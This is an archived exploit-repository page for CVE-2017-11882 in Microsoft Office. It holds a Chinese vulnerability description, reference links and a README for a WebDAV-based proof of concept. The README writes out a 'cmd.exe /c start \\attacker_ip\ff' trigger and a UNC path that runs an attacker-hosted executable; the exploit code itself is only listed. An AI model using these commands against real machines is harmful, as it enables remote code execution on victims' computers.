Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-11882 PoC — Microsoft Office 安全漏洞

Source
Associated Vulnerability
Title:Microsoft Office 安全漏洞 (CVE-2017-11882)
Description:Microsoft Office 2007 SP3等都是美国微软(Microsoft)公司开发的办公软件套件产品。 Microsoft Office中存在远程代码执行漏洞,该漏洞源于程序没有正确的处理内存中的对象。远程攻击者可借助特制的文件利用该漏洞在当前用户的上下文中执行任意代码。以下版本受到影响:Microsoft Office 2007 SP3,Microsoft Office 2010 SP2,Microsoft Office 2013 SP1,Microsoft Office 2016。
Description
Proof-of-Concept exploits for CVE-2017-11882
Readme
# CVE-2017-11882

CVE-2017-11882:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

MITRE CVE-2017-11882:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research:
https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis:
https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation:
https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410



# webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882.
This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server.
The reason why this approach might be handy is a limitation of executed command length.
However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine.
This script creates simple document with several OLE objects.
These objects exploits CVE-2017-11882, which results in sequential command execution.


The first command which triggers WebClient service start may look like this:

```
cmd.exe /c start \\attacker_ip\ff
```

Attacker controlled binary path should be a UNC network path:

```
\\attacker_ip\ff\1.exe
```

## Usage

```python
webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
```


# Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

`example` folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
File Snapshot

[4.0K] /data/pocs/db32a3cd0b5e21eb2a0e37601058e7d4549f5b69 ├── [4.0K] example │   └── [7.9K] exploit.rtf ├── [1.5K] README.md └── [9.5K] webdav_exec_CVE-2017-11882.py 1 directory, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.